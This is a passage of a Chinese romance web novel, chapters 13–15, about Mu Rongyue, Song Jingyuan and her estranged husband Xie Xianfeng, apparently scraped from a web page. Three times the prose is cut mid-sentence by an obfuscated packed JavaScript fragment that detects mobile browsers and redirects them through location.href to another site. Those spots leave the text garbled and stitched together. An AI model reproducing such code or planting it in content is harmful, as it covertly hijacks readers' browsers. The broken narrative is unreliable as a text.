慕溶月笑而不语,只是俯身,细嗅着花朵的馨香。 杏雨推门来到了里屋,惊喜道:“小姐,你瞧。” 那桌上摆着一盒苏式的点心,揭开盖,圆饼裹着酥皮,中间的豆馅是豆乳与椰蓉。 正是慕溶月喜欢的糕点。 “宋大人是个心细的。”杏雨端起了那盒点心,眉开眼笑地看向慕溶月,“往日与小姐的桩桩件件,他可都放在了心上呢!” 慕溶月的目光也变得柔软了几分。 将糕点掰开一小块,放入唇中。绵密又甜润的口感,还是她记忆里熟悉的那般。 慕溶月情不自禁回忆起了四年前,与宋景渊的初遇。 …… 宋景渊,那声名远扬的宋国公。因镇压西原动乱有功,成了皇帝面前炙手可热的功臣。他学识渊博,家世显赫,因此在四年前被沈惠心挑中,成了她如意的郎婿。 沈惠心有意撮合慕溶月与宋景渊的婚事。借着那年春日宴一事,她趁机让二人简单地打了个照面。只可惜,那时慕溶月满心都装着谢羡风,哪里还顾得上旁人。 在那之后,慕溶月又收到了好几封国公府递来的帖子,都是出自宋景渊的亲笔。 要么是请她去诗会品茗论酒,要么是邀她同去游园踏春。都被慕溶月以各种理由推脱不见。 再然后,宋景渊的帖子就不再来了。 慕溶月还以为他终于消停了。结果,没过几日,他便带着轻车便马亲自登门拜访,说是来探望长公主,顺道给慕溶月也带了礼物。 慕溶月躲在墙角里,偷偷看着宋景渊的马车进了府门,杏雨在旁边悄声问:“小姐,怎么办?” 慕溶月轻哼了一声,赌气般扭过了头。 “不见!” 她被激得起了逆反心,母亲越要撮合她与这宋国公,她偏就越不去赏脸。 …… 清幽凉亭内,鸟语花香。沈惠心位居主位,宋景渊坐在其下,命人奉上他带来的特产与厚礼。 “只可惜,偏偏小女着了风寒,不便见客,还请宋国公见谅。” 沈惠心话语里透着几分着实的惋惜。宋景渊听了出来,便主动圆场道:“无妨,二娘子的身子要紧。” 说罢,他又挥了挥手,命几个下人端来了成箱的文墨艺品。 “宋某有幸得了一套前朝名家焦老先生的字画,便想着借花献佛,不知是否合长公主的眼缘。” 字画端到了沈惠心面前,她翻了翻,发现那是几乎绝迹的藏品,能找齐这几幅已是很难得。 “你是个心细的,我的确很喜欢这字画。”沈惠心终于转笑道,“迎春,去把这画卷收好,摆在我那藏馆里。” 迎春应声道好,珍重地接过字画,便退下了:“是。” 沈惠心望着宋景渊,忍不住叹道:“月儿她还小,不经世故,许多地方,还请国公爷多多照顾才是。” 宋景渊双手作揖谦让道。 “二娘子是长公主与驸马的掌上明珠,能得长公主的信任,自然也是我宋某的荣幸之至。” 沈惠心刚放下了心:“那便好。” 可紧接着,宋景渊的后半句话就跟了上来:“只是……这次,恐怕宋某要让长公主的期望落空了。” 沈惠心抬起眼来,宋景渊便遗憾地解释道:“落花有意随流水,流水无心恋落花。是宋某福浅了。” “哪里的话?”沈惠心宽和地笑出了声,“你是个有心的。来日方长。总有一天,月儿会明白什么才是对她好的。” 宋景渊也只是附和着笑了一下。 “既然二娘子着了风寒,养好身子便是要紧事。我恰好路过苏西,便带来了当地的特产,是素芳斋的招牌,不知合不合二娘子的胃口。” 说完,他身后的小厮便又端来了一盒精致的糕点。 沈惠心莞尔一笑,“我会替你转交给她的。好了,今天我乏了,要先休息了。你且退下吧。” “是。” 目送宋国公走后,迎春正要关掩房门,忽地瞧见院墙处传来一阵窸窸窣窣的声音。 “是谁在那儿?” 迎春唤了一声,无人应答。身后的沈惠心却是噗嗤一笑,“不用猜也知道,就由她去罢。” 迎春便随之关拢了房门。 “二小姐今日装病不愿见人,却躲起来听墙角。真是奇怪呀。”迎春回到沈惠心身旁,一面伺候她沏茶,一面感叹道,“二小姐平日虽然贪玩,但也不是这般拒人于千里之外的性子,这实在是……有些反常。” 沈惠心笑得更欢了。 “由得她去,我就不信,这一盒香气四溢的点心,还钩不出来一只趴墙角的小馋猫了。” …… 院墙旁,慕溶月窥见不成,已是心急如焚。 “怎么聊了这样久?都快两个时辰了,也没见着半个人影!” “定是那宋什么的家伙废话连篇,也不知他有没有说什么不该说的话……” “早知就不装病了,应当直接将人轰走才对!” 慕溶月来回踱着步,焦心不已。里屋的二人聊得越久,她便越是心忧。万一母亲真的相中了那宋景渊,她又该怎么办?谢羡风又该怎么办?一想到这些,脑子就成了浆糊,一团乱麻。 终于,杏雨拉着主子的衣袖道:“哎,出来了,出来了!” 慕溶月连忙踮脚扒着墙角去看,眼睁睁地看着宋景渊的车马载着三五个箱子来,终又空荡荡地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不由得回想起了那时在春日宴上初次见到宋景渊的场景。他穿着官服,坐拥半幅仪仗,威风凛凛地到场,却只为站在她身旁和她攀谈几句。期间也没聊别的,好似单纯只为了和她共赏春景,一副正人君子的模样。 现在想来,他那时大抵是在试探她的喜好,以便今日来登门送礼。 “虽然我与他寒暄不多,但我知道,他接近我,绝对是居心叵测!”慕溶月信誓旦旦道,“他知道我不爱那些华贵庸俗的首饰,便想用好吃的来讨好我。一看这个人便不是省油的灯。” 杏雨噗嗤地笑了起来,“但是,那盒果子真的很好吃对吧?” 一码归一码。慕溶月认真点了点头。 “不过,早先就听说宋国公足智多谋,西原动乱时,他以一招调虎离山就破了局。足见他工于心计,是个城府很深的人呢。”杏雨又道,“小姐对她有所防备,也是很正常的。” “这是一方面。”慕溶月打了个冷颤,像是起了一身鸡皮疙瘩似的,“你是没听到,他那天同我说的那些话。他夸我貌美也就罢了,竟还将我和那池中的荷花作类比,说我是凌波仙子,噫,真是肉麻到掉渣……” 杏雨被逗得咯咯直笑。也对。她家郡主总是朝气蓬勃、动若脱兔,那国公爷竟将静谧安好的荷花和郡主作比,的确是不了解郡主的个性。 “那小姐,若是来日国公爷再登门为小姐送果子来,那小姐是见还是不见哪?” “这……哎呀,到时候再说吧!” …… 13. 打赌 就这样,自从那日之后又过去了半年。期间,宋景渊虽然也来过公主府给慕溶月送点心,但他也自知分寸,没有再主动提过议亲之事。 再后来,莫盈儿找到慕溶月,她便就有了替婚的心思。 可是,她也明白,此事涉及颇多,光凭她一己之力难以办到。 于是,她做出了一个孤注一掷的决定。 这天,沈惠心又邀来了宋景渊同去游园,而慕溶月也是头一遭地没有推脱。 春灯节上,十里长街灯火通明,鼓吹喧阗。慕溶月和宋景渊并肩漫步于其中,身后跟着一泱泱侍卫。 宋景渊端详着慕溶月的衣装,不施粉黛的素雅面庞,反倒在灯节一众浓妆艳抹的女子中将她衬得清丽脱俗:“慕二娘子,今日甚是好看。” 慕溶月正想着心事,只含糊道:“多谢国公爷夸赞。” 宋景渊并没有气恼,反而来到了一灯铺门前,匾额上提着“猜灯谜送灯笼”的字样。他便回头问道:“慕二娘子可还喜欢孔明灯?” 慕溶月随意摆弄了一下货架上的灯皮,“这纹着小兔子的孔明灯倒甚是可爱。” 宋景渊与慕溶月擦肩而过,继而也将手按在那兔子的纹样之上:“那么,你与我,不如来一个赌约助兴,如何?” “赌什么?” “就赌字谜。”宋景渊点了点牌匾,“赢者,可以获得一盏孔明灯。” 慕溶月思索了数秒,便首肯道:“好。” “黯然失色;打一字。” “自然是‘音’。” “甜一半,辣一半;打一字。” “辞。” …… 几个回合下来,二人比分将近,平分秋色。慕溶月吆喝道:“掌柜的,就没有难一些的灯谜吗?” “最后一题,来了。”掌柜的换来了另一提灯笼,笑着指道,“有风不动无风动,不动无风动有风;猜一物。” 慕溶月嘀咕着,还在消化题意呢,宋景渊忽然道:“谜底为:鞋履。” “正确。”掌柜的双手奉上灯盏,“国公大人,这是您的孔明灯,请收好。” 慕溶月只好不情不愿地认输了,“今日是我状态欠佳,你赢了。” 宋景渊回过头朝她粲然一笑,“走,我们找个空旷之地放明灯。” 星光稀疏的河岸旁,一盏明亮的孔明灯冉冉升起。慕溶月今夜脸色阴沉了一路,此刻也终于破颜一笑道:“真好看。” 灯芯化作了一个小亮点,终于消失在了长空之中。宋景渊就在这时看向慕溶月道:“慕二娘子,我赠你一副灯,你还我一句真心话,这买卖如何?” 慕溶月轻叹一口气,索性一扭身坐在了凉亭之内。 “好啊。你问吧。” 没想到,宋景渊直截了当地问: “你与谢公子的事,可还顺利?” 慕溶月没想到,他竟会这样直白。那时候,她喜欢谢羡风的事,还没有几个人知情。原来,他早就洞察一切,却还愿意花时间陪她演这出戏。 慕溶月心头一颤,便道:“既然宋国公直言不讳,那么我也就不瞒着宋国公了。” 宋景渊莞尔一笑,恭恭正正地作揖道:“在下洗耳恭听。” “如你所见,今天此情此景,皆是母亲为我们一手操办的,只为撮合你我的婚缘。”慕溶月思酌了片刻,最终决定还是坦诚以待,“但想必宋国公也心知肚明,其实我早就心有所属。” 话音落下,宋景渊果不其然迟疑了几许。 “所以,你是想来找我退婚的?” 面对他的刺探,慕溶月也不打算相瞒,郑重地点了点头。 原以为,宋景渊会恼羞成怒,或是气急败坏。却未曾料到,他只是静默了良久,最后,只淡淡道。 “但在下却认为,男女的情爱犹如流水可逝而不可追。或许,你今日爱的是一人,到头来成婚的,却又是另一人。缘分之事,从来都是不可捉摸。 在下私以为,情爱与姻婚,自是可以分开的。” 慕溶月蹙起眉头,对他这番谬论并不敢苟同:“宋国公想说什么,不妨直说。” 没想到,宋景渊直接道:“我不介意,你在外养面首。” 慕溶月被他这番虎狼之词吓得大惊失色,差点没从石凳上摔下来。 “你——你在想什么呢!”慕溶月羞红了脸,期期艾艾地驳斥,“我并非你那般昏、昏淫无道之人!什么面首,从前未有,今后也不可能——你可别信口开河,辱我名节!” 宋景渊眉开眼笑。 “好,好。我知道了。” 慕溶月重新端正神色,恢复了严肃:“我就是想说……宋国公风姿绰约,定有更好的女子能与你相配。小女福薄,就请宋国公高抬贵手,饶了我吧。” 宋景渊沉默了片刻,忽然无奈地失笑了起来。 “你这么说,就不怕让我伤心吗?” “我若是对你有着几分倾慕之心,那你方才的这般话,就足够我心碎好几回了。” 慕溶月却不以为然,反倒索性将话说开。 “宋国公何出此言?我与宋国公不过几面之缘,何谈倾慕?宋国公靠西原一战成名,想要我母族的势力在朝堂之上站稳脚跟,这本是各取所需,无可非议。宋国公大可以坦荡些,不必遮掩。” 话音落下,宋景渊愣怔了许久,讪讪地笑。 “慕娘子的确不简单,把我的话都说完了,让我哑口无言。” “宋国公,我并没有拆台的意思。”慕溶月却倏地从矮凳上站了起来,认真地端详着宋景渊的双眸,“相反,我还想请国公爷能帮我一个忙。或者说,我也想与你论一桩买卖。” “哦?是吗?”宋景渊饶有兴趣地扬起眉来,“那就只好看看你的诚意了。” “诚意,我自然是有的!”慕溶月颇为配合地拍拍胸脯,“要不然,今日我也不会来打扰宋国公了。” 宋景渊不由得失笑。 “既然你将话说开了,那我索性也不遮掩了。你说想与我谈买卖,既是买卖,便讲究一个有来有回的公平。”他转过身,望着河畔上的孔灯盈盈,半晌,才回眸一笑道,“与慕娘子的交易,我可不想吃亏。” 慕溶月见他应承了下来,连忙接口道。 “宋国公想要什么?只要你开口,只要我能给得起。” “不如二娘子先说说你的条件吧。” 慕溶月心一横,索性凑近几分,低声向宋景渊说明了一切。 “真是大胆。”宋景渊闻言很是诧异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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掀开珠帘,映入眼前的便是满桌来自五湖四海的珍馐美食,谈笑间,觥筹交错,人声鼎沸。 慕溶月一眼便识出了宋景渊。 他着一袭玄色长袍,正坐在主位之上。面容端正,轮廓深邃,举手投足间,尽是气宇轩昂。 慕溶月不禁多看了一眼,而盘坐在宋景渊身侧的沈子钰率先抬首,向她招呼道:“月儿,来这里坐。” 慕溶月提裙而来,施施然在桌前坐好。 “宋大人,好久不见。” 她弯起眉眼,主动招呼,笑容无可挑剔。 “久别重逢,慕家二娘子如今脱胎换骨了。”宋景渊也勾起一边的唇角,淡笑道,“不过,这嗜甜的口味,倒是依旧没变。” 两人表面客套地寒暄着,却又好像有种无声的默契。 “是吗?”慕溶月装傻反问,“此话怎讲?” 宋景渊倒也直言不讳:“是我的丫鬟。她说去接你时,瞧见你桌上盛着糕点的食碟已经空了。” 慕溶月脸一红,这话怎么显得她很贪吃一般。 宋景渊余光瞧见她羞红了脸,便又话音一转道。 “你若是喜欢,明日我再叫人去素芳斋排着队,二娘子喜欢多少我都可以买来。” 慕溶月也没假意同他客气,反倒是实诚地轻轻颔首。 “那就,多谢宋大人一片好意了。” 看来,是的确很喜欢那酥果了。 宋景渊会心一笑。 “别急着谢我,不如先听完我的后半句话吧?” 14. 破洞的寝衣 慕溶月愣怔几许,随后全神贯注地点了头:“宋大人请说。” “今年我府上的除岁宴,除了二娘子,还邀请了其他几位贵客。”宋景渊停顿了片刻,又压低了声音道,“我想笼络他们的欢心,便打听到,他们不钟情于金银俗物……却独独欣赏丝竹雅乐。” 这尾音藏着几分意味深长。 闻言,慕溶月的神色微微变了一变。 说到最后,总算是图穷匕见。宋景渊索性敞开了说亮话道:“于是,我便夸下海口,说长公主家的嫡女弹得一手好琴,整个京城都难觅第二人。他们听闻后都跃跃欲试,恨不能立马一饱耳福呢。” “原来,”慕溶月故作矜持地垂下了头,把玩着手中的汤匙,“这是宋大人的一出鸿门宴哪。” “何必说得这么难听?”宋景渊故作无辜模样,“我这顶多也算是个……礼尚往来?” 慕溶月早就看破了一切,轻撩着茶盖,袅袅香气散开。她抿一口茶香,叹道。 “我当你为何心血来潮,原都是有备而来。” “看来,宋大人这酥果买的,可当真划算呀。” “这么说来,二娘子是应允了。”宋景渊粲然一笑,主动为她倒了一盏茶,“慕先师,请喝茶。” 见他这般故作姿态,慕溶月噗地一笑,终是忍俊不禁地破了功。 而另一旁,目睹了一切地杏雨却只觉得惋惜:“原以为国公爷对小姐是旧情不忘,却不承想,原来只是想借小姐的琴艺做个人情啊……” 慕溶月却笑吟吟的。 她的确是被他利用了,可是,她却并不觉得气恼。 反倒有种舒了口气的感觉。 如此这般,就很好。 酒过三巡,沈子钰面泛醉红,已有些脱力了。宋景渊虽然喝得和他一样多,却神色如常,面不改色。 慕溶月没有陪他们饮酒,而是在一旁用小勺品着姜汁撞奶,软嫩香甜,甚是可口,是宋景渊特地为她单独点的。 直到台上的演出结束,宋景渊端正地起身,叫小厮去抬走沈子钰,而自己则徐步来到了慕溶月跟前。 “沈大人今日兴致好,已经喝得七分醉了。” 他站在桌台之下,微微欠身,朝慕溶月伸出了手。那剑眉星目中尽是热忱的翘盼,“不如让我宋某再陪这位琴艺卓绝的慕先师出去走走吧。” “好啊,”慕溶月想不到拒绝的理由,便笑着将手伸了上去,“宋大人,请带路吧。” *** 谢羡风的马轿在傍晚时分抵达了永安。 安置好圣上的贵宾后,时辰还早。谢羡风倚靠在河岸的长桥边吹了会夜风。不远处的街坊上便是车水马龙,熙熙攘攘。 “将军,难得来一回永安,要不然咱们去逛逛吧!”李衡兴奋地提议,“这永安城可真热闹啊!只可惜,明日一早便要启程回去了。” “倒不如,在离开前,先好好地逛上一圈。” 刘彰也点头同意,谢羡风却不置一词。夜风徐来,撩动了他两鬓的碎发,他最终只是淡淡道:“你们去吧,我累了。” “好,那咱俩去。”李衡迫不及待地下了马,想了想又回过头来,“将军,要不要我带点宵夜来给你解馋啊?” 刘彰见谢羡风闷头不语,便猛地推了李衡一肘子,“将军,那属下先去了。将军也请早点回客栈休息吧。” 李衡拉着刘彰就要走,可还没迈出两步,突然犹如点穴一般被定在了原地。 “等会,那不是……” 话还没说完,便噤若寒蝉。 谢羡风也察觉到了不对,顺着他们的视线望去——那河桥对岸的景色,让他猛地滞在了原地。 下一秒,瞳孔微缩,眉心浅蹙起来。 在长桥的对岸,两个熟悉的人影交叠在一起。他们并肩而行,视若无人地谈笑着。月影稀疏,将脚下的影子拉得好长。 …… 自从那日在公主府与慕溶月分别,谢羡风是真的动了念头,要写和离书,与她就此别过。 但很快,他就冷静了下来。 他发现自己变了。 变得不太像他了。 为何? 慕溶月要与他和离,他本该高兴才对。这三年里,他有意疏远她,刻意避着她;他无时不刻都要忍耐着,才能说服自己接受她已成妻子的既定现实。 她说得对,他憎恶她。若不是有她从中作梗,他不会错过原本该娶的莫盈儿。 可是,不知从什么时候而起。 他却反过来成了那个走不出来的人。慕溶月的一举一动,竟都能牵动起他的情绪,让他反被牵着鼻子走,无法释怀。 他怎能释怀。 他怨她,恨她,却也更厌恶自己。 他厌恶所有人都往前走了,却只有他被留在了过去,止步不前。自从那日新婚之夜,他揭开了慕溶月的盖头,从那一刻起,他的心便死了。他也自此被困在了原地,再也走不出来了。 后来,那个罪魁祸首,突然主动与他提了和离。 当初那个不顾流言蜚语、死乞白赖喜欢他,甚至不惜费尽心机赶走了他的未婚妻,替嫁于他的慕溶月, 如今,却忽然想通了。 面对他时方寸不乱,不留一丝痕迹,好似已经全然放下了。 难道她真的彻底抽身了? 可他平白被糟践的这三年又算什么? 就这样,谢羡风紧攥着狼毫,却思绪纷乱,久久动不了笔——索性搁置一旁,不管不问。 他揉着眉心,向一旁伺候笔墨的小厮吩咐道:“去拿盏茶来。” 每每他深夜挑灯伏案时,习惯在桌案旁放一盏暖手茶。 那小厮一抖,忙不迭应下了:“是。” 半刻钟后,他才慢吞吞地将茶端了上来,谢羡风只抿了一口,却是紧皱眉头。 “怎么茶味这样浓,这是谁给我沏的?” “将军息怒,许是那新来的丫鬟不懂规矩,茶叶放得多了些……”那小厮连忙汗如雨下地解释了起来,“这府里只有夫人最了解将军的口味,平日,都是夫人亲手为将军沏茶,今天这才……” 一听闻慕溶月的名字,谢羡风的头更疼了。 “罢了,沐浴吧。” 奴仆伺候他更衣,捞起寝衣时,谢羡风却发现那袖管上不知何时被勾破了一个洞,长长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205751|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线头飘坠在外,很是难看。 谢羡风便将寝衣随手一扔,“去换一件来。” 那奴仆却支支吾吾,半天也没有动作。 谢羡风正是心烦意乱之时,蹙起眉头:“怎么不动?” “将军息怒。是这样的……这平日里,将军的贴身衣物都是夫人在经管。夫人怕奴才们笨手笨脚不合将军的心意,所以,这每一件寝衣都是夫人一丝一线亲手缝制的。”奴仆生怕谢羡风怪罪下来,连忙跪在地上认罪,“如今夫人走了,只留下一件还未来得及绣完的寝衣……这,奴才们也不敢擅自做主……” 闻言,谢羡风却是僵在了原地,久久的缄默后,才几不可闻地叹了一口气。 “凡是有关将军的事,夫人向来都是亲力亲为,从不让下人们插手。”“这新的寝衣刚绣了一半,还没来得及绣完呢,夫人就染上了寒症。” “罢了,”谢羡风垂眸,神色是说不出的味道,“你出去吧。” 时至今日,谢羡风才注意到。 三年了。慕溶月嫁给他,已经转眼三年了。 恐怕,如今她已经比他都还要了解他自己。 他的习惯,他的偏好,他的口味…… 这些年,他从没有主动去过她的碧花轩,也没有碰过她的一根手指头。 可她却始终记着在深夜为他添一盏茶,亲自缝他贴身的里衣。 谢羡风叫来了府中的掌事嬷嬷,将事情从头到尾的来龙去脉问了个清楚。 雪灾虽厉害,但偌大一个将军府也不至于连一个女人几个奴才都养不起。所以,谢羡风得知此事时,才会下意识地怀疑慕溶月是装病,以博取同情。 但他这时才知道,原来慕溶月当初染上寒症,是因为在雪灾的头几日,她不忍心见周边的平民百姓受苦,便将家中的余粮分去了部分给那些饥肠辘辘的灾民,原以为缩衣节食也能熬过去。却想不到,这雪灾竟持续了这样久,这才导致家中粮库亏空,炭火告急,到最后,连她自己也不够用了。 如今想来,或许,她骤然提出和离,也是为了讨药一事。 她病入膏肓,独自守着这空房,唯一的指望便只剩下了他,可他却连半分的怜悯也未曾有。她因此而心存芥蒂,对他起了怨念,才会赌气说出和离的话来。 谢羡风敛眸,摇曳的烛光映在他的侧脸上,显出了几分黯淡。 此事,的确是他欠妥了。 谢羡风望着那绣了一半的里衣,摊在圆桌上。 那一丝一线,每一个针脚都是经她的手,亲自缝制。 谢羡风脑海中忽地浮现起慕溶月秉烛绣衣的画面。烛光闪烁,她微眯着眼眸,神色稍显疲态,心里却惦记着他,而忍住倦意再绣上一针,又一针……直到染上风寒,头疼欲裂。 谢羡风的心渐渐软了下来。 既是他误解,这一次,就由他来主动解释便是。 …… 刘彰望着河对岸那抹熟悉的身影,分明就是慕溶月和宋国公宋景渊,便迟疑地问道: “将军,咱们……要上前去叫住慕二娘子么?” “不必了,”谢羡风定了定神,迈出了步伐,“我自己去。” 15. 三人对峙 喧闹夜市,沿街有个老翁正捧着草木棒子,高声吆喝着。 “卖糖葫芦咯,香甜的冰糖葫芦。” 那草靶子上斜斜地插着许多糖葫芦串,红的是山楂,粉的是草莓,橙的是甜橘。表面还都覆上了一层晶莹剔透的糖霜,吸引了慕溶月情不自禁地驻足观望。 而一旁的宋景渊自然注意到了她的视线,见慕溶月目光流转,神色兴致盎然。便主动开口道:“给我各来一串。” “哎!” 那老翁一见到宋景渊,顿时挺直了腰板,从中选了三串果粒最为饱满的双手奉上。 “国公大人,这是您的糖葫芦,请收好。” 宋景渊看了一眼慕溶月,慕溶月便笑弯了眼,主动接过了竹签。 两人踩着夜色,继续在河畔漫步。 “这般红润甜脆的丸串,我只吃过一次,还是很多年前的事了。”慕溶月望着手中的糖葫芦串,不禁陷入了缅怀之中,“这似乎……是叫做‘冰糖葫芦’的小食?名如其物,真是可爱。” 说完,她轻轻尝了一口,咬碎了那层冰糖,果真和想象的味道一模一样。清脆甜润。 宋景渊笑了一下,道:“永安虽不比京城繁盛,但却不缺这些琳琅满目的点心。” “我知道。”慕溶月笑着看向他,“在来这儿的路上,我便见识过了。当时只是远远地隔窗而望。其实,我很想下车来瞧一瞧,只是又觉得……不太合时宜。” 宋景渊摇了摇头,认真道:“你来我府上做客,便由我的规矩来。在我这里,只要是你想做的事,便就不算是不合时宜。” 慕溶月心中一暖,唇角不由得挂上了一抹笑意。 说完,她抬头瞭望,如今四下无人,她终于有机会与他独处。 于是,鼓起勇气,重提旧事。 “宋大人,当年的事……” “我要向你说声迟来的对不起。” “那时,我利用了你,让你陪我一起圆谎。可到头来,却没得到一个好的结果。” 提及往事,慕溶月垂眸,被树影遮盖的眉眼里多了几分落寞。 宋景渊停顿了顷刻,只道:“如此看来,当初那个赌约,是我赌赢了?” “算是吧。”慕溶月调整了情绪,才重新抬起了眼来,“你说吧,我愿赌服输。” 宋景渊故作思索状。 “可是,你已经答应了我在除岁宴上奏琴献唱,我目前还没有别的什么要差遣你。” “宋大人,我还没有傻到会以为弹一首琴便是这赌输的代价。”慕溶月却坚持要得到他的答复,“别总是吊着我的胃口了,宋大人有什么话但说无妨吧。” 宋景渊轻笑了一下。 “我说的都是实话。” 慕溶月愣怔几许:“我以为,你此次叫我来,便是让我履行赌约的。” “你可以这么想。”宋景渊说,“或是,你也可以当成,我只是来找你叙旧。” 慕溶月这时才反应过来,原来,他是在关心自己。 关心她与谢羡风和离后,是否会一蹶不振,自甘堕落。 慕溶月不禁看向眼前的这个男人,他了解她全部的心事,了解她的骄傲……还有她的把柄。 偏偏她还拿他一点办法也没有。 “谢谢。” 慕溶月轻声说了句。 恰好此时两人又路过了一个糖葫芦小摊,慕溶月便指着那红彤彤的冰糖葫芦笑道:“我能再要一串么?” “当然。” 宋景渊轻轻扬首,那小摊贩便得令一般挑了一串翠红的冰糖葫芦摘了下来。 慕溶月正要伸手去接,视线中心却忽然多了另一道身影。 横空多出一只骨节分明的手,按在了那糖棍之上,阻碍着她去取回那竹签。 那修长的手指,手背还隐约勾勒出道道青筋。 “我以为,你不喜欢这种甜腻的果子。” 头顶倏地响起一道阴晦的嗓音。如松烟墨般凝重,掺着化不开的生冷,沉郁。 慕溶月抬起头,一抹熟悉得化成灰也认识的身影,就这样蓦然闯入了她的视线。 是谢羡风。 慕溶月的神色有一刹那的慌乱,她未曾料到会在这里遇见谢羡风。但只有一瞬,很快,她便稳住了心绪。 慕溶月手指稍一用力,便夺回了主导权,将那串冰糖葫芦重新拿稳在了手里。 “不,只是你不喜欢罢了。” “可我从未见你吃过。” “那只是因为,我一直迁就着你。” 只因他从不嗜糖,她的餐桌上便再也没出现过甜食。 她总是迁就着他的口味,迁就着他的脾性。 慕溶月攥紧了竹签,目光如炬,一字一顿,丝毫也不退让:“如今,我不想再迁就了。” 从前在将军府时,她似乎总是习惯了看着他的眼色度日。他喜欢的,她便买来讨他一笑。他指名的食物,哪怕不喜欢,她也会囫囵吞下。 她了解他的一切喜恶,可渐渐的,却开始忘了,原本的她是什么样的。 她开始忘了,她最应该迁就的,是自己。 何必要委曲求全呢?他不会记住你的好,只会觉得是理所应当。 谢羡风没有搭腔,而是径直看向了一旁的宋景渊:“我还以为,你的口味是随着身边的人而变化的。” 话音落下,慕溶月惊讶到怀疑自己听错了:“你说什么?” 说完,谢羡风自己也顿了一瞬,许是慢半拍地察觉到自己话里竟藏着几分无意识的讥讽。 “不过是一串糖葫芦而已,谢大人也要如此苛责?” 这时,一直站在旁边的宋景渊终于开了口。他不紧不慢地又从小摊上拿了两串冰糖葫芦,一并递给了慕溶月,算是为此事一锤定了音,“拿着吧,既来了永安,便是我宋景渊的贵客。糖葫芦想要多少,就有多少。” 说完,他笑谑地看向谢羡风,眉尾微挑。谢羡风微蹙眉头,却无意与他纠缠,便收敛了锋芒。 “宋国公,我与内子谈家事,请回避。” 宋景渊唇边挂着似笑非笑的表情,没有直接退让,而是看了一眼慕溶月,仿佛在等她开口。 “不必劳烦宋大人了,”慕溶月却主动起身让了位,抬眸看他,“谢将军,借一步说话吧。” 两人来到了桥头的另一处,远离人烟,静僻了许多。 慕溶月的神色淡如白水。 “谢将军找我有何事?” 谢羡风将语气尽量地放柔和了几分。 “叶萤抢走的簪子,我为你取回来了。” 说完,他摊开手心,掌心之中,正是那枚金光闪闪的发簪——是她新婚时,戴的那枚头簪。 话音未落,又道:“待事情处理完,我也会搬回府中居住。” 可是,都已经太晚了。 慕溶月很想移开视线,心头却又止不住的酸涩。 她似乎已经养成了惯性。 在看到金簪时的第一反应,不是愤怒,不是排斥,而是鼻酸。 委屈得鼻酸。 总是这样,一遍又一遍。 她爱着他时,总是很好哄的。他每回做了什么事惹她伤心,只要稍微一低头,亦或是给她一个台阶,她就已然心软,上赶着原谅了他。到了最后,慢慢的,他便觉得,她就是这般的软骨头,是没有脾气的。 打一巴掌,再给一颗甜枣,再维持彼此相敬如宾的表象——循环往复,周而复始。 又有什么意义呢。 已经太晚了。 谢羡风又倏地打断了她:“你的寒症可是好些了?” 再开口时,慕溶月的语气已是冷淡了许多。 “将军此番关心,未免来得太晚了些。” 谢羡风知道她心里还憋着一股气,便又将声音放低了几分。 “那日,没给你请郎中,是我不对。” “我已经听女使说过了来龙去脉,你心怀慈悲没有错。下次,我会先问清缘由。” 慕溶月情不自禁苦笑了一声——她病得快死了,他一句“是我不对”,便轻飘飘揭过。 这公平吗? 或许,在她选择孤注一掷嫁给他时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215177|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便注定了,他们之间的天平,永远不会向她而倾斜。 可是,这些年,她付出的代价已经太多了。 慕溶月忍了又忍,终是不想再忍了。 谁承想,谢羡风根本没注意到她的心思,见她缄口不语,还以为她是默认了——就像往常无数次的那样。 于是,谢羡风便话锋一转道:“明日,我会派人去公主府送些礼器,当是赔罪。” “和离书,我不能给你。” 慕溶月心头一颤,紧攥着手指,一双杏眸惊诧地望向他:“为何?” 谢羡风的口吻云淡风轻,仿佛要将他对不起她的那些事都淡淡揭过,轻轻放下。 “你我如今的身份已不同于从前,婚姻之事,要慎之又慎,不容儿戏。” 到了现在,他仍然以为她的要和离只不过是在说玩笑话,是说气话,是为了引起他的注意,让他来哄上她几句的伎俩罢了。 她的感受,他从没有放在眼里过。 慕溶月的指腹忽然传来刺痛,原来是她的指甲刺破了皮肤,疼痛钻心入骨。 她终于是失控了。所谓的端庄、雅面被抛诸脑后,她将手中的金簪用力一掷,那簪头摔在了地上,碎粒散落一地。 谢羡风眸底划过一丝讶异,蹙着眉。 “慕溶月,不要闹孩子脾气。” 他一本正经地训话,冷静自持地看她,让她觉得,仿佛她才是那个发癫的疯子。 慕溶月忽然笑了出来。 这样的生活,她已经过累了。 “孩子脾气?”她轻声反问,“谢羡风,你是不是以为,你主动道歉已是退让,我就必须感恩戴德,否则便是得寸进尺?” 